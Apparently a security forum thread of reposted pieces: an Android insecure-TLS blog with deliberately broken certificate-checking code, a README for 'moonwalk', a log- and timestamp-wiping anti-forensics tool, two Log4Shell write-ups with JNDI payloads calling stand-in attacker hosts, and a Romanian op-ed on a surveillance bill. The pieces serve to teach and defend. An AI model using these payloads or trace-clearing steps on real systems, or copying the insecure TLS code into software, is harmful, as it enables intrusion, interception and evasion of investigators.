apps. Custom Certificate Authorities Many developers want to create an app that has to communicate with a backend server using a certificate issued by a custom certificate authority. Certificate authorities (CAs) are a fundamental part of the TLS certificate system: By default, browsers and operating systems only trust connections to servers whose certificates have been issued by a well-known CA. In our example case, where the certificate was issued by an unknown custom CA, the connection attempt is aborted with an exception. Developers often consult sites like StackOverflow when dealing with exceptions they do not know how to deal with. But these posts often get answered with workarounds that introduce security issues such as disabling the default SSL certificate checking mechanisms in part or even completely. Unfortunately, many developers use such solutions without thoroughly checking their validity, resulting in the use of vulnerable coding patterns that lead to the AppSweep findings mentioned above. Certificate Pinning Another reason why developers might resort to custom TLS configurations actually stems from the opposite desire. Malicious actors could add an attacker-controlled certificate authority to the default trust store, which can then be used to issue forged certificates for any server. You can protect your app from such a scenario by using certificate pinning. If you are interested in learning more about this technique, check out our prior blog post on SSL certificate pinning and its limitations. Certificate pinning is good practice from a security point of view, but unfortunately many developers try to implement this pinning code themselves. This is a potentially error-prone task, resulting in modifications to the default certificate checking implementation that might ultimately make the result less secure than before. Demonstrating the Risk of Broken TLS Handling We now know about three frequently occurring types of incorrect TLS handling in Android applications, and we understand the developer's motivation for custom implementations. But we still haven’t discussed the actual risk that such a broken implementation introduces for the end-user and the developer. To dive deeper into this, we’ve constructed a containerized demo environment enabling us to easily mimic the different scenarios and demonstrate their consequences in practice. On our GitHub repository, you can find all the files you need to execute the demos, for a hands-on experience while following the next sections. In the next two sections, we’ll briefly describe our demo setup, after which we will use it to demonstrate three real life scenarios. Demo Environment Setup Our environment has 3 containers as shown in Figure 1, mimicking the client (mobile app), back-end & malicious entity. The first container in the setup is a web server that offers an HTML web page when clients connect to it. This data that is transferred to the user is considered sensitive, and thus offered via HTTPS. The catch is that it uses a certificate issued by a custom certificate authority, mimicking the scenario we’ve observed in the previously mentioned application scans. The second container contains an Android emulator running a sample app that wants to retrieve the data offered by the web server and display it in a WebView. In order to establish a connection despite the custom server certificate, it showcases different custom certificate handling implementations in each tab. The third container simulates a malicious actor that happens to be on the same network as the Android device. This situation may arise e.g. in public WiFi hotspots that can frequently be found in cafes and other public places. Figure 1: Demo environment setup Intercepting HTTPS Traffic The final part of the setup is actually having the malicious container intercept the secure channel between the client and the server, and optionally modifying its content. To achieve this we’ll use two techniques sequentially: ARP Spoofing: This makes the Android emulator believe that the malicious container is in fact the web server and analogously tells the web server that it is the Android emulator. By doing so, all network packets that are to be exchanged between the two other containers are delivered to the malicious container instead. Figure 2: ARP spoofing Proxying: Once the packets are being re-routed, the attacker becomes a man-in-the-middle (MITM) entity that takes care of forwarding the packets to the correct recipient. Like this, they have full control over the communication without any of the two other parties noticing the presence of a proxy. Figure 3: Attacker acting like a proxy The following three experiments showcase how this situation will look in practice, each showing a different one of the previously mentioned vulnerable HTTPS configurations in Android apps. WebView Ignores All SSL Errors The WebView widget is a popular choice for situations where HTML data received from a web server should be displayed to the user. The code snippet below shows how the WebView’sWebViewClientimplementation is substituted by a custom client that modifies the callback responsible for SSL error handling. This method is invoked when Android doesn’t trust the TLS certificates provided by the target server, giving the implementer the choice to eitherproceed()with the connection orcancel()it. Thus, when your app needs to deal with a certificate that is untrusted by the operating system, overriding this error handler allows deviating from the default behavior. Ignoring the error and proceeding with every connection is a frequently proposed quick fix suggested in various places, such as the previously linked StackOverflow thread. As a result, the entire certificate verification process is nullified. binding.webview.webViewClient = object : WebViewClient() { override fun onReceivedSslError( view: WebView?, handler: SslErrorHandler?, error: SslError? ) { handler?.proceed() } } Now let’s have a look at the video below: When the MITM proxy is activated by running thestart.shscript, you can see that further HTTPS requests suddenly result in a very different text being displayed in the WebView. This is a result of the traffic manipulation executed by the malicious actor. The user has no way of finding out about the dangerous situation. The transmitted password is intercepted by the MITM entity and they can use it however they like, while the user receives the modified password without any idea that it was modified. Malfunctioning X509TrustManager Implementations If any communication with a server should happen securely over HTTPS without a WebView, the usual way of establishing the connection is using theHttpsURLConnectionclass. Similar to the WebView connection client, this approach also verifies the server’s TLS certificate based on the certificate authorities known to Android. In our case, the certificate would not be accepted by default, as it has been issued by a custom certificate authority. This results in an SSLException being thrown when attempting to start the connection. Thus, similarly to how theWebViewClientimplementation can be overridden, we can instruct theHttpsURLConnectionto use a customX509TrustManagerimplementation that is responsible for verifying the TLS certificate trustworthiness: val insecureTrustManager = object : X509TrustManager { override fun checkClientTrusted( chain: Array?, authType: String? ) { // do nothing } override fun checkServerTrusted( chain: Array?, authType: String? ) { // do nothing } override fun getAcceptedIssuers() = null } val context = SSLContext.getInstance("TLSv1.3") context.init(null, arrayOf(insecureTrustManager), SecureRandom()) val url = URL("https://www.mitmtest.com") val connection = url.openConnection() as HttpsURLConnection connection.sslSocketFactory = context.socketFactory The easiest but most insecure solution to get rid of the SSLException, often proposed publicly, is to use the implementation shown above, which simply does nothing. This is equivalent to deeming every server as trustworthy. The correct behavior would be to throw an exception in case an invalid certificate is presented. But if the app doesn’t do this, the actual certificate checking gets neglected. Attackers can then freely intercept and modify the transferred data without any problems, as shown in the video. Of course, you can also create a secure trust manager implementation that accepts certificates issued by a custom CA, but this is a topic we will explore in the next blog post. Disabled Host Name Checks Another way TLS certificate checking can be made insecure is if the host name verification process is skipped. In this case, the certificate validation process is not fully disabled like in the previous case. In fact, any certificate that was issued by an untrusted certificate authority will be rejected. However, there is another crucial step when validating a certificate: Not only does the certificate have to be signed by a trusted CA, it also needs to be issued specifically for use with the exact URL that is currently being accessed. If this step is skipped, a malicious actor can use their legitimately received certificate for “malicious.com” to pretend they are actually “google.com”. There should never be any need to do so, but a common way of turning off the host name verification is shown in the snippet below: val url = URL("https://wrong.host.badssl.com") val conn = url.openConnection() as HttpsURLConnection // Create HostnameVerifier that accepts everything conn.hostnameVerifier = HostnameVerifier { hostname, session -> true } As shown in the video below, when a website is visited whose TLS certificate has not been issued for the target host name, the above configuration still establishes a connection without any warnings or exceptions. If you try connecting to https://wrong.host.badssl.com using your own browser, you will see that the connection is refused exactly because the host name verification failed (e.g. in Google Chrome, this is called ERR_CERT_COMMON_NAME_INVALID). Avoiding Vulnerabilities in Network-Facing Android Apps When your app needs to communicate with a backend server, you should always use encrypted and authenticated channels like TLS in order to protect your users from eavesdropping and manipulation of traffic. It is best practice to use well-established procedures and libraries instead of custom implementations in IT security to minimize the risk of security issues. That’s why it’s safer to use well-known TLS libraries, and leverage generally trusted certificate authorities. Using custom certificate authorities should be avoided as much as possible. They should only be used as a last resort in your security infrastructure, since using them makes the certificate verification process more error-prone. When you try to force Android to accept your custom certificates and establish a connection to the server, several things can go wrong. For example, implementation errors could include skipping parts of the required certificate checking process or using workarounds for runtime exceptions by disabling certificate checks completely. This can allow attackers to intercept the encrypted traffic without the user noticing, as we have seen in the examples above. But if using a custom certificate is the only option you have, your main focus should not be to establish the connection at any cost. Instead, you should focus on enforcing strict verification of the chain of trust. Avoiding crashes due to SSLExceptions by simply skipping all certificate checks is a very dangerous approach. We hope that our findings and hands-on examples helped increase awareness for the need for secure TLS certificate checking implementations. If you are curious about properly making your Android app connect to servers using certificates by custom certificate authorities, then make sure to check out our upcoming blog post. Sursa: https://www.guardsquare.com/blog/insecure-tls-certificate-checking-in-android-apps
-
moonwalk Cover your tracks during Linux Exploitation / Penetration Testing by leaving zero traces on system logs and filesystem timestamps. 📖 Table of Contents Introduction Features Installation Usage Contribution License ℹ️ Introduction moonwalk is a 400 KB single-binary executable that can clear your traces while penetration testing a Unix machine. It saves the state of system logs pre-exploitation and reverts that state including the filesystem timestamps post-exploitation leaving zero traces of a ghost in the shell. ⚠️ NOTE: This tool is open-sourced to assist solely in Red Team operations and in no means is the author liable for repercussions caused by any prohibited use of this tool. Only make use of this in a machine you have permission to test. Features Small Executable: Get started quickly with a curl fetch to your target machine. Fast: Performs all session commands including logging, trace clearing, and filesystem operations in under 5 milliseconds. Reconnaissance: To save the state of system logs, moonwalk finds a world-writable path and saves the session under a dot directory which is removed upon ending the session. Shell History: Instead of clearing the whole history file, moonwalk reverts it back to how it was including the invokation of moonwalk. Filesystem Timestamps: Hide from the Blue Team by reverting the access/modify timestamps of files back to how it was using the GET command. Installation $ curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk (AMD x86-64) OR Download the executable from Releases OR Install with cargo: $ cargo install --git https://github.com/mufeedvh/moonwalk.git Install Rust/Cargo Build From Source Prerequisites: Git Rust Cargo (Automatically installed when installing Rust) A C linker (Only for Linux, generally comes pre-installed) $ git clone https://github.com/mufeedvh/moonwalk.git $ cd moonwalk/ $ cargo build --release The first command clones this repository into your local machine and the last two commands enters the directory and builds the source in release mode. Usage Once you get a shell into the target Unix machine, start a moonwalk session by running this command: $ moonwalk start While you're doing recon/exploitation and messing with any files, get the touch timestamp command of a file beforehand to revert it back after you've accessed/modified it: $ moonwalk get ~/.bash_history Post-exploitation, clear your traces and close the session with this command: $ moonwalk finish That's it! Contribution Ways to contribute: Suggest a feature Report a bug Fix something and open a pull request Help me document the code Spread the word Find something I missed which leaves any trace! License Licensed under the MIT License, see LICENSE for more information. Liked the project? Support the author by buying him a coffee! Support this project by starring ⭐, sharing 📲, and contributing 👩💻! ❤️ Sursa: https://github.com/mufeedvh/moonwalk
-
- 2
-
Windows Heap-backed Pool: The Good, the Bad, and the Encoded
Nytro posted a topic in Tutoriale video
For decades, the Windows kernel pool remained the same, using simple structures that were easy to read, parse and search for, but recently this all changed, with a new and complex design that breaks assumptions and exploits, and of course, tools and debugger extensions... But could this open up a whole new attack surface as well? By: Yarden Shafir Full Abstract & Presentation Materials: https://www.blackhat.com/us-21/briefings/schedule/#windows-heap-backed-pool-the-good-the-bad-and-the-encoded-23482 -
Crima si pedeapsa
-
A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution
Nytro replied to Massaro's topic in Exploituri
- 1 reply
-
- 2
-
Ghidra 10.1 Latest ghidra1 released this 3 hours ago · 53 commits to master since this release Ghidra_10.1_build 2fcf0d2 Includes fix for log4j vulnerability What's New Change History Installation Guide SHA-256: 99139c4a63a81135b3b63fe9997a012a6394a766c2c7f2ac5115ab53912d2a6c Assets 3 ghidra_10.1_PUBLIC_20211210.zip333 MB Source code (zip) Source code (tar.gz) Sursa: https://github.com/NationalSecurityAgency/ghidra/releases/tag/Ghidra_10.1_build
-
- 3
-
Speed through the log4j2 JNDI injection vulnerability~ java log4j2 jndi Word count: 1.5k Reading time: 6 min 2021/12/10 932 Share On December 9, 2021, a disaster comparable to eternal blue swept through Java. Log4j2 broke the JNDI injection vulnerability with extremely low difficulty to exploit. The difficulty of exploiting the vulnerability is breathtakingly low, and it is basically comparable to S2. Unlike S2, Log4j2 is used by a large number of Java frameworks and applications as the basic third-party library for logging. As long as Log4j2 is used for log output and the log content can be partially controlled by the attacker, it may be vulnerable to attacks. Influence. Therefore, the vulnerability also affects a large number of common applications and components around the world, such as: Apache Struts2 Apache Solr Apache Druid Apache Flink Apache Flume Apache Dubbo Apache Kafka Spring-boot-starter-log4j2 ElasticSearch Redis Logstash … Let's take a look at the vulnerability principle Vulnerability analysis Set up the environment Here choose log4j-core 2.14.1 version, simply construct an environment 1 2 3 4 5 6 7 8 9 10 11 12 13 package top.bigking.log4j2attack.service; import lombok. extern .slf4j.Slf4j; @Slf4j public class HelloService { public static void main ( String [] args) { System.setProperty( "com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty( "com.sun.jndi .ldap.object.trustURLCodebase" , "true" ); log .error( "${jndi:rmi://127.0.0.1:1099/ruwsfb}" ); } } spring-boot needs to turn off the original log and add log4j (this is a common usage) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 < dependency > < groupId > org.springframework.boot </ groupId > < artifactId > spring-boot-starter </ artifactId > < exclusions > <!-- Remove springboot default configuration--> < exclusion > < groupId > org.springframework .boot </ groupId > < artifactId > spring-boot-starter-logging </ artifactId > </ exclusion > </ exclusions > </ dependency > < dependency > <!-- Introduce log4j2 dependency--> < groupId > org.springframework.boot </ groupId > < artifactId > spring-boot-starter-log4j2 </ artifactId > </ dependency > Execute to trigger Code analysis Causes of Vulnerability Here we follow the error normally First of all, you can see isEnabledthe verification here . This is also the reason why many friends' info functions cannot be triggered. If the configuration is not met, the log will not be recorded. MessagePatternConverterThe formatfunction followed all the way here You can see the entrance of this vulnerability, if the code exists, ${it will enter additional processing. Continue to follow to StrSubstitutorthe substitutefunction Here is the main part of the vulnerability, basically the grammatical content in the recursive processing, and some built-in grammar prefixMatcherYes ${ suffixMatcherYes} Only when the two parts are searched will it enter the grammar processing The content between the brackets is passed to varname And carry out two built-in grammars, of which 1 2 3 4 public static Final String DEFAULT_VALUE_DELIMITER_STRING = ": -" ; public static Final StrMatcher DEFAULT_VALUE_DELIMITER = StrMatcher.stringMatcher ( ": -" ); public static Final String ESCAPE_DELIMITER_STRING = ": \\ -" ; public static Final StrMatcher DEFAULT_VALUE_ESCAPE_DELIMITER StrMatcher.stringMatcher = ( ":\\-" ); If these two grammars are matched, varname will be modified to the corresponding part of the corresponding grammar (important bypass) The processed variable will enter the resolveVariablefunction on line 418 And resolveVariablehere, enter the corresponding lookup directly according to different protocols, which jndi.lookupwill cause loopholes If the execution of the lookup returns, it will enter the next level of recursive processing on line 427 There are also many protocols supported by lookup include{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j} If you can smoothly step down from this process, it is not difficult to find that there are actually many logical problems in the entire process. Some simple bypasses Previously, we ${jndi:rmi://127.0.0.1:1099/ruwsfb}analyzed and processed according to the payload . But in the code, there are many parts that explain that there is recursive processing here, that is to say, we can ${}handle the return here in a nested syntax. For example, we select the lower protocol to return and splicing into the code The same can be executed Including his built-in special grammar The first half will be treated as varname, and the second half will be returned to replace the original result for the next splicing, so that a new payload can be constructed. Even the official has added a fault-tolerant code to it, if characters that do not meet the conditions are encountered, they will be deleted directly. Due to some special regulations, I will not announce the relevant bypass payload here. If you understand this part of the code, you can easily construct it. 2.15.0 rc1 fix In fact, this vulnerability was released a few days ago with an update patch, and I have also paid attention to it before, but I did not expect the logic of exploitation to be so simple. When the entire loophole caused a storm in the entire security circle, more and more friends focused their attention here. The rc1 repair also ushered in a bypass. The bypass here is actually quite interesting. Let's take a look at the patch. Repair patches and test samples are very interesting To put it simply, the original repair logic processing office, think of a way to make him deal with the error, then the original catch will not do the processing, but go directly into the lookup 😆 Repair plan 1. At present, Apache officially only released 2.15.0 rc2 and packaged the 2.15.0 release. There is no guarantee that it will not be bypassed a second time, and it is said that this version is not very compatible. https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 2. Now the common repair plan mainly focuses on configuration modification , adding configuration to the log4j2.component.properties configuration file of the project: 1 log4j2.formatMsgNoLookups = true It should be noted that this configuration only takes effect above 2.10.0. You can also add this configuration in the java startup item 1 -Dlog4j2.formatMsgNoLookups = true 3. In addition, you may have to rely on major WAFs Write at the end In fact, this vulnerability was patched on December 6, and it was widely spread on Twitter. The first reaction I saw at first was that it was impossible to have such a serious problem. It must be a lot of restrictions. As a result, the use is simply very simple, and it swept all the projects in the java class at once. As a basic component, this component is referenced by most java frameworks/java applications, and a large number of problems are exposed at once. Just 1 hour after get off work, the payload has been spread. If it weren’t for the use of jndi to rce, it’s not easy. It is estimated that many services have fallen overnight. Since the manufacturer has not had time to release the repaired release, this vulnerability can only be defended by waf in the early stage. If the manufacturer with poor security operation construction, it is estimated that they can only wait to die. This feeling may be difficult to feel without experiencing such a big hole. . (When will 360 rise? Original author: LoRexxar Original link: https://lorexxar.cn/2021/12/10/log4j2-jndi/ Date of publication: December 10th 2021, 5:43:36 pm Update date: December 10th 2021, 5:44:32 pm Copyright notice: This article uses the Creative Commons Attribution-Non-Commercial Use 4.0 International License Agreement to license Sursa: https://lorexxar.cn/2021/12/10/log4j2-jndi/
-
- 1
-
Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package December 9, 2021 · 7 min read Free Wortley CEO at LunaSec Chris Thompson Developer at Lunasec Updated @ December 10th, 10am PST A few hours ago, a 0-day exploit in the popular Java logging library log4j2 was discovered that results in Remote Code Execution (RCE) by logging a certain string. Given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe. We're calling it "Log4Shell" for short. The 0-day was tweeted along with a POC posted on GitHub. Since this vulnerability is still very new, there isn't a CVE to track it yet. This has been published as CVE-2021-44228. This post provides resources to help you understand the vulnerability and how to mitigate it for yourself. Who is impacted? Many, many services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable. Anybody using Apache Struts is likely vulnerable. We've seen similar vulnerabilities exploited before in breaches like the 2017 Equifax data breach. Many Open Source projects like the Minecraft server, Paper, have already begun patching their usage of log4j2. Simply changing an iPhone's name has been shown to trigger the vulnerability in Apple's servers. Updates (3 hours after posting): According to this blog post (see translation), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP. However, there are other attack vectors targeting this vulnerability which can result in RCE. An attacker could still leverage existing code on the server to execute a payload. An attack targeting the class org.apache.naming.factory.BeanFactory, present on Apache Tomcat servers, is discussed in this blog post. Affected Apache log4j2 Versions 2.0 <= Apache log4j <= 2.14.1 Permanent Mitigation Version 2.15.0 of log4j has been released without the vulnerability. log4j-core.jar is available on Maven Central here, with [release notes] and [log4j security announcements]. The release can also be downloaded from the Apache Log4j Download page. Temporary Mitigation As per this discussion on HackerNews: The 'formatMsgNoLookups' property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the 'formatMsgNoLookups=true' mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3]. If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are: Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109 or, Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application's or stack's classloading documentation to understand this behavior. How the exploit works Exploit Requirements A server with a vulnerable log4j version (listed above), an endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send the exploit string, and a log statement that logs out the string from that request. Example Vulnerable Code import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import java.io.*; import java.sql.SQLException; import java.util.*; public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName()); /** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * This is basically pseudo-code to explain the vulnerability, and not a full example. * @param he HTTP Request Object */ public void handle(HttpExchange he) throws IOException { String userAgent = he.getRequestHeader("user-agent"); // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:{}", userAgent); String response = "<h1>Hello There, " + userAgent + "!</h1>"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.getBytes()); os.close(); } } Copy Reproducing Locally If you want to reproduce this vulnerability locally, you can refer to christophetd's vulnerable app. In a terminal run: docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app Copy and in another: curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}' Copy the logs should include an error message indicating that a remote lookup was attempted but failed: 2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)] Copy Exploit Steps Data from the User gets sent to the server (via any protocol), The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server), The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI), This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process, This injected payload triggers a second stage, and allows an attacker to execute arbitrary code. Due to how common Java vulnerabilities such as these are, security researchers have created tools to easily exploit them. The marshalsec project is one of many that demonstrates generating an exploit payload that could be used for this vulnerability. You can refer to this malicious LDAP server for an example of exploitation. How to identify if your server is vulnerable. Using a DNS logger (such as dnslog.cn), you can generate a domain name and use this in your test payloads: curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}' Copy Refreshing the page will show DNS queries which identify hosts who have triggered the vulnerability. CAUTION While dnslog.cn has become popular for testing log4shell, we advise caution. When testing sensitive infrastructure, information sent to this site could be used by its owner to catalogue and later exploit it. If you wish to test more discretely, you may setup your own authoritative DNS server for testing. More information You can follow us on Twitter where we'll continue to update you as information about the impact of this exploit becomes available. For now, we're just publishing this to help raise awareness and get people patching it. Please tell any of your friends running Java software! Limit your vulnerability to future attacks LunaSec is an Open Source Data Security framework that isolates and protects sensitive data in web applications. It limits vulnerability to attacks like Log4Shell and can help protect against future 0-days, before they happen. Editing this post If you have any updates or edits you'd like to make, you can edit this post as Markdown on GitHub. And please throw us a Star ⭐! Links Hacker News Reddit Twitter Edits Updated the "Who is impacted?" section to include mitigating factor based on JDK version, but also suggest other exploitation methods are still prevalent. Named the vulnerability "LogJam", added CVE, and added link to release tags. Update mitigation steps with newer information. Removed the name "LogJam" because it's already been used. Using "Log4Shell" instead. Update that 2.15.0 is released. Added the MS Paint logo[4], and updated example code to be slightly more clear (it's not string concatenation). Reported on iPhones being affected by the vulnerability, and included local reproduction code + steps. Update social info. Updated example code to use Log4j2 syntax. References [1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198 [4] Kudos to @GossiTheDog for the MS Paint logo! Also kudos to @80vul for tweeting about this. Sursa: https://www.lunasec.io/docs/blog/log4j-zero-day/
-
- 4
-
Lărgirea interceptării comunicațiilor – introdusă pe șest de Guvern Posted on: 9 December 2021 By: Bogdan Manolea Un nou articol (apărut din senin într-o lege care trebuia să reglementeze cu totul altceva) lărgește în mod nejustificat domeniul și spectrul interceptării comunicațiilor electronice, inclusiv a accesului la datele de trafic, date de conținut și la „conținutul comunicațiilor criptate tranzitate”. Articolul a fost adăugat într-un proiect de lege adoptat de Guvernul Câțu cu doar 3 zile înainte de a fi demis de Parlament, iar proiectul a trecut de Camera Deputaților fără niciun amendament contrar. I. Mega-plictis, ce să mai. Doar întâmplarea face că ne-am uitat pe un text juridico-tehnic lung de 300 de pagini pe un text relativ plictisitor, chiar și pentru juriști obișnuiți cu domeniul telecom. Proiectul de lege pentru transpunerea directivei UE 2018/1972 (Codul european al comunicațiilor), care de fapt înlocuiește alte 4 directive, este un mega-proiect legislativ care transpune măsuri în mare parte interesante doar pentru cei interesați de domeniul comunicațiilor electronice și de ce face ANCOM. Ministerul Transporturilor și Comunicațiilor a avut proiectul în dezbatere publica încă din noiembrie 2020 (inclusiv cu o întâlnire online) și a inclus în el și alte reglementari de interes pentru același domeniu (ceva clarificări legea infrastructurii, serviciul My ANCOM) și i-au mai dat și un nume generic - „Proiectul de Lege pentru modificarea și completarea unor acte normative în domeniul comunicațiilor electronice și pentru stabilirea unor măsuri de facilitare a dezvoltării rețelelor de comunicații electronice”. Mega-plictis, ce să mai. Deși directiva trebuia transpusă până pe 21 decembrie 2020, a zăcut undeva prin Guvern aproape un an până când a plecat USR din coaliție . Apoi, cu doar 3 zile înainte să fie demis (coincidență sau nu?!?), Guvernul Câțu îl adoptă dintr-o dată în ultima ședință de guvern. Pe urmă intră în circuitul parlamentar, iar la Camera Deputaților trece ca prin brânză și este adoptat pe 7 decembrie 2021. Mega-plictis, ce să mai. II. Și diavolul e în 10^2 Doar ca între varianta din dezbatere publică și cea adoptată de guvern apare o nouă adăugire în motivație numită „Schimbări legislative relevante pentru domeniul securităţii naţionale” (sic!), două definiții (scrise evident de persoane care nu au lucrat în domeniu, după formulările absolut improprii) și art 102 inserat într-o zonă care n-are nimic de a face cu subiectul celorlalte 299 de pagini: Art.10^2. — (1) Furnizorii de servicii de găzduire electronică cu resurse IP şi furnizorii de servicii de comunicaţii interpersonale care nu se bazează pe numere au obligaţia să sprijine organele de aplicare a legii şi organele cu atribuţii în domeniul securităţii naţionale, în limitele competenţelor acestora, pentru punerea în executare a metodelor de supraveghere tehnică ori a actelor de autorizare dispuse în conformitate cu dispoziţiile Legii nr. 135/2010 privind Codul de procedură penală, cu modificările şi completările ulterioare, şi ale Legii nr. 51/1991 privind securitatea naţională, republicată, cu modificările şi completările ulterioare, respectiv: a) să permită interceptarea legală a comunicaţiilor, inclusiv să suporte costurile aferente; b) să acorde accesul la conţinutul comunicaţiilor criptate tranzitate în reţelele proprii; c) să furnizeze informaţiile reţinute sau stocate referitoare la date de trafic, date de identificare a abonaţilor sau clienţilor, modalităţi de plată şi istoricul accesărilor cu momentele de timp aferente; d) să permită, în cazul furnizorilor de servicii de găzduire electronică cu resurse IP, accesul la propriile sisteme informatice, în vederea copierii sau extragerii datelor existente. (2) Obligaţiile prevăzute la alin. (1) lit. a) - c) se aplică în mod corespunzător şi furnizorilor de reţele sau servicii de comunicaţii electronice. III. Cine sunt ăștia??? Pentru cei pierduți în textul ce pare un acrostih dar nu este, sa explicăm trei termeni: „Furnizorii de servicii de găzduire electronică cu resurse IP” – sunt de fapt aceiași cu furnizorii de găzduire web (de fapt, deja reglementați în legea 365/2002), care oferă serviciile „pe teritoriul României” conform definiției nou inventate din art 4 alineatul (1), noul punct 9^5. „Serviciu de comunicații interpersonale care nu se bazează pe numere” – este ce se numea acum câțiva ani „mesagerie instatanee sau mesaje chat” și practic intra în categoria asta Skype, WhatsApp, Facebook Messanger, Signal, Wire, Telegram sau pentru cei mai nostalgici Yahoo Messanger, AIM, ICQ sau chiar IRC. Pentru o minte (sau altceva) mai creață, ar fi un serviciu de comunicații interpersonale care se integrează perfect în definiția imberbă din art 4 alineatul (1), noul punct 9^3 chiar și Chaturbate sau LiveJasmin. (ca să se clătească și ochiul lor, că să zic așa). Atenție, aceștia nu sunt doar cei care oferă serviciile „ pe teritoriul României”. (cuvânt cheie- indiciu: „tranzitat”) „Organele cu atribuţii în domeniul securităţii naţionale”- este aceiași terminologie vagă deja declarată neconstituțională în 2008 (și alte decizii). Oricum nimeni nu este în stare sa facă lista lor, cu atât mai mult cu privire la atribuțiile exacte, legea din 1991 find la fel de vagă și astăzi. IV. Ce trebuie să facă??? Aspectele legate de interceptarea legală comunicațiilor, cu toate garanțiile de rigoare (ma rog, până la noi decizii de neconstituționalitate, eu zic ca decizia din 2016 e doar prima dintr-un șir dacă nu se rezolvă niște probleme de fond) sunt prevăzute de Codul de Procedură Penală (CPP). În mod logic, dacă ar fi vreo problemă sau este nevoie de actualizarea lor s-ar face tot printr-o modificare la acest cod. (indiciu: e o lege organică, greu de modificat). Doar că dincolo de a impune obligații similare și unor alte categorii furnizori (care oricum, nu au legătura cu ANCOM) pe unde se plimbă în 2021 conținutul și legal, și ilegal. (poate de discutat, dar atunci ar trebui în CPP și nu pe șest), textul lărgește mult spectrul de acțiuni de interceptări și acces, pe care CPP nu le prevede. Mă opresc doar la 2 aici: „accesul la conţinutul comunicaţiilor criptate tranzitate în reţelele proprii;” nu există în CPP. Dincolo de faptul ca un furnizor (inclusiv cei de comunicații) ar trebui să își creeze un sistem de depistare a conținutului criptate tranzitat, eu cred că ținta sunt furnizorii care oferă astfel de servicii. Aici sunt 2 variante – fie vor conținutul decriptat direct de la furnizor sau pentru ca vor să spargă criptarea? (cât de legal, ilegal ar fi, este o altă discuție) , fie vor conținutul criptat pentru că vor să obțină/determine partea care are cheia de criptare să o dezvăluie cumva. Astea, ca și altele din același spectru ridică niște subiecte de privacy și security mult prea complexe pentru a le rezolva în 2 propoziții (dau însă 2 linkuri - Bugs in our Pockets: The Risks of Client-Side Scanning și un document leak-uit de la Comisie) Să nu mai zicem că textul Directivei de implementat zice exact pe dos – promovați criptarea, nu o subminați: „ar trebui promovată de exemplu utilizarea criptării, end-to-end dacă este cazul, și, dacă este necesar, criptarea ar trebui să fie obligatorie în conformitate cu principiile securității și protejării vieții private în mod implicit și din faza de proiectare” „să permită, în cazul furnizorilor de servicii de găzduire (...) accesul la propriile sisteme informatice, în vederea copierii sau extragerii datelor existente.”nu există în CPP. O terminologie la fel de vagă ca cea din defuncta lege a securității cibernetice (declarata neconstituțională în 2015) face ca să ai practic acces la orice conținut de pe orice server din România în condiții total neclare. (asta e demnă de capabilitățile NSA) Vrei acces la documentația unui jurnalist? Nu accesezi redacția, ci serviciul de găzduire al redacției. Oricum presa era la amenințări de „securitate națională”, nu? Capisci? V. Deci: Încolonarea și înregistrarea Ca să poată probabil să justifice cumva integrarea în această lege, propunerea normativă mai și creează o obligație de înregistrare a acestor noi furnizori la ANCOM, ceea ce contrazice flagrant legislația europeană în domeniu (în principal directiva e-commerce, implementată la noi prin legea 365/2002). Dar ce mai contează o obligație europeana, când e în joc „securitatea națională”? Important e că le putem impune să își creeze, pe costuri proprii, infrastructura de interceptare și când vine o hârtie de la „organ” să dea tot. VI. Concluzie? Dincolo de orice discuție pe fond, a propune astfel de soluții legislative de interceptare a comunicațiilor pe ușa din dos, evitând orice dezbatere publică nu este doar profund nedemocratică, dar chiar jignitoare la adresa unui popor exact într-un moment în care ar trebui să fie convins de același stat că îi vrea binele prin măsurile propuse, nu că de fapt sunt niște cobai, inclusiv pentru unele măsuri de supraveghere „semnate ca primarul.” Sau cine știe poate se trezește Senatul, presa sau cetățenii să îi ia la niște întrebări – cine a propus, de fapt, textul? De ce acum? De ce aici? De 